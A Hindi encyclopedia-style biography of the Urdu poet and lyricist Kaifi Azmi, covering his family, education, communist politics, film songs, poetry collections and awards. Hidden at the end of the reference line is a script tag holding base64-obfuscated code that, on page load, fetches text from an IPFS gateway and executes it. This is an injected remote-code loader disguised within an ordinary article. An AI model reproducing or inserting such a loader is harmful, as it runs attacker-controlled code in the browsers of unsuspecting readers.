कैफ़ी आज़मी

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कैफ़ी आज़मी
कैफ़ी आज़मी
पूरा नाम अख़्तर हुसैन रिज़्वी
प्रसिद्ध नाम कैफ़ी आज़मी
जन्म 19 जनवरी 1919
जन्म भूमि आजमगढ़, उत्तर प्रदेश
मृत्यु 10 मई, 2002
मृत्यु स्थान मुम्बई
पति/पत्नी शौकत आज़मी
संतान शबाना आज़मी, बाबा आज़मी
कर्म भूमि मुम्बई
कर्म-क्षेत्र गीतकार, उर्दू शायर
मुख्य रचनाएँ आवारा सिज्दे, इब्लीस की मजिलसे शूरा।
पुरस्कार-उपाधि साहित्य अकादमी पुरस्कार, राष्ट्रीय फ़िल्म पुरस्कार (फ़िल्म सात हिन्दुस्तानी), फ़िल्मफेयर पुरस्कार (फ़िल्म गरम हवा), सोवियत लैंड नेहरू अवार्ड।
प्रसिद्धि फ़िल्मजगत के मशहूर उर्दू शायर
नागरिकता भारतीय
अन्य जानकारी 'काग़ज़ के फूल', 'हकीकत', 'हिन्दुस्तान की कसम', 'हंसते जख्म', 'आखरी खत' और 'हीर रांझा' जैसी फ़िल्मों में कई सुपरहिट गाने लिखे हैं।
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कैफ़ी आज़मी (अंग्रेज़ी Kaifi Azmi) (जन्म- 19 जनवरी 1919; मृत्यु-10 मई, 2002) फ़िल्मजगत के मशहूर उर्दू शायर थे। कैफ़ी आज़मी का मूल नाम अख़्तर हुसैन रिज़्वी था। कैफ़ी आज़मी में नैसर्गिक काव्य प्रतिभा थी और वह छोटी उम्र में ही वे शायरी करने लगे थे।

जीवन परिचय

कैफ़ी आज़मी का जन्म उत्तर प्रदेश के आजमगढ़ ज़िले में 19 जनवरी 1919 हुआ था। कैफ़ी आज़मी के परिवार में उनकी पत्नी शौकत आज़मी, इनकी दो संतान शबाना आज़मी (फ़िल्मजगत की मशहूर अभिनेत्री और जावेद अख़्तर की पत्नी) और बाबा आज़मी है।

शिक्षा

कैफ़ी आज़मी के तहसीलदार पिता उन्हें आधुनिक शिक्षा देना चाहते थे। किंतु रिश्तेदारों के दबाव के कारण कैफ़ी आज़मी को इस्लाम धर्म की शिक्षा प्राप्त करने के लिए लखनऊ के 'सुलतान-उल-मदरिया' में भर्ती कराना पड़ा। लेकिन वे अधिक समय तक वहाँ नहीं रह सके। उन्होंने वहाँ यूनियन बनाई और लंबी हड़ताल करा दी। हड़ताल समाप्त होते ही कैफ़ी आज़मी को वहाँ से निकाल दिया गया। बाद में उन्होंने लखनऊ और इलाहाबाद विश्वविद्यालय में शिक्षा पाई और उर्दू, अरबी और फ़ारसी भाषाओं का ज्ञान प्राप्त किया।

काव्य प्रतिभा

कैफ़ी आज़मी में नैसर्गिक काव्य प्रतिभा थी। छोटी उम्र में ही वे शायरी करने लगे थे। यद्यपि उनकी आरंभिक रचनाओं में प्रेम-भावना प्रधान होती थी, किंतु शीघ्र ही उसमें प्रगतिशील विचारों का प्राधान्य हो गया। राजनीतिक दृष्टि से वे कम्युनिस्ट पार्टी के सदस्य थे। कैफ़ी आज़मी पार्टी के काम के लिए मुम्बई गए थे। वहाँ उनका संबंध इंडियन पीपुल्स थियेटर से हुआ और आगे चलकर वे उसके अध्यक्ष भी बने।

फ़िल्मों में प्रवेश

कैफ़ी आज़मी ने कहानी लेखक के रूप में फ़िल्मों में प्रवेश किया। 'यहूदी की बेटी' और 'ईद का चांद' उनकी लिखी आरंभिक फ़िल्में थीं। उन्होंने 'गरम हवा' और 'मंथन जैसी फ़िल्मों में संवाद भी लिखें। उन्होंने अनेक फ़िल्मों में गीत लिखें जिनमें कुछ प्रमुख हैं- 'काग़ज़ के फूल' 'हकीकत', हिन्दुस्तान की कसम', हंसते जख्म 'आखरी खत' और हीर रांझा'।

नज़्म संग्रह

कैफ़ी आज़मी ने आधुनिक उर्दू शायरी में अपना एक ख़ास स्थान बनाया। कैफ़ी आज़मी की नज़्मों और ग़ज़लों के चार संग्रह हैं:-

  1. झंकार
  2. आखिरे-शब
  3. आवारा सिज्दे
  4. इब्लीस की मजिलसे शूरा।

विशेष जानकारी

  • कैफ़ी आज़मी का जन्म उत्तर प्रदेश के आजमगढ़ ज़िले में 'मिजवां ग्राम' में 1919 में हुआ था।
  • कैफ़ी आज़मी की जन्मतिथि उनकी अम्मी को याद नहीं थी। उनके मित्र डॉक्यूमेंट्री फिल्ममेकर सुखदेव ने उनकी जन्मतिथि चौदह जनवरी रख दी थी।
  • उन्होंने 1943 में कम्युनिस्ट पार्टी ज्वाइन कर ली। बाद में वे 'प्रोग्रेसिव राइटर्स एसोसिएशन' के सक्रिय कार्यकर्ता बने।
  • 1951 में वे फिल्मों से जुड़े। शाहिद लतीफ़ की फ़िल्म 'बुझदिल' में उन्होंने पहली बार गीत लिखे। बाद में उन्होंने 'हीर रांझा', 'मंथन' और 'गर्म हवा' फ़िल्मों का लेखन किया।
  • कैफ़ी आज़मी ने सईद मिर्ज़ा की फिल्म 'नसीम' (1997) में अभिनय किया। यह किरदार पहले दिलीप कुमार निभाने वाले थे।
  • कैफ़ी आज़मी केवल 'मॉन्ट ब्लॉक पेन' से लिखते थे। उनकी पेन की सर्विसिंग न्यूयॉर्क के 'फाउंटेन हॉस्पिटल' में होती थी। जब उनकी मौत हुई, तो उनके पास अट्ठारह मॉन्ट ब्लॉक पेन थे।
  • कैफ़ी आज़मी को 'सात हिंदुस्तानी' (1969) के लिए सर्वश्रेष्ठ गीतकार के 'राष्ट्रीय फ़िल्म पुरस्कार' से सम्मानित किया गया।
  • भारत सरकार ने उन्हें पद्मश्री सम्मान से सम्मानित किया था। इसके अलावा, उन्हें साहित्य अकादमी पुरस्कार एवं गर्म हवा (1975) के लिए सर्वश्रेष्ठ कथा, पटकथा एवं संवाद के फिल्मफेयर पुरस्कार से सम्मानित किया गया था।
  • कैफ़ी आज़मी ने कुल अस्सी हिंदीफ़िल्मों में गीत लिखे हैं।[1]

सम्मान और पुरस्कार

कैफ़ी आज़मी को अपनी विभिन्न प्रकार की रचनाओं के लिये कई पुरस्कारों से सम्मानित किया गया है। जिनमें से कुछ प्रमुख इस प्रकार हैं-

निधन

फ़िल्मजगत के मशहूर उर्दू के शायर कैफ़ी आज़मी का निधन 10 मई 2002 को हृदयाघात (दिल का दौरा) के कारण मुम्बई में हुआ।


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टीका टिप्पणी और संदर्भ

शर्मा, लीलाधर भारतीय चरित कोश (हिन्दी)। भारत डिस्कवरी पुस्तकालय: शिक्षा भारती, दिल्ली, पृष्ठ 199।<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

  1. अब्बा कैफी आजमी को याद कर रही हैं शबाना आजमी (हिंदी)। । अभिगमन तिथि: 3 जनवरी, 2014।

बाहरी कड़ियाँ

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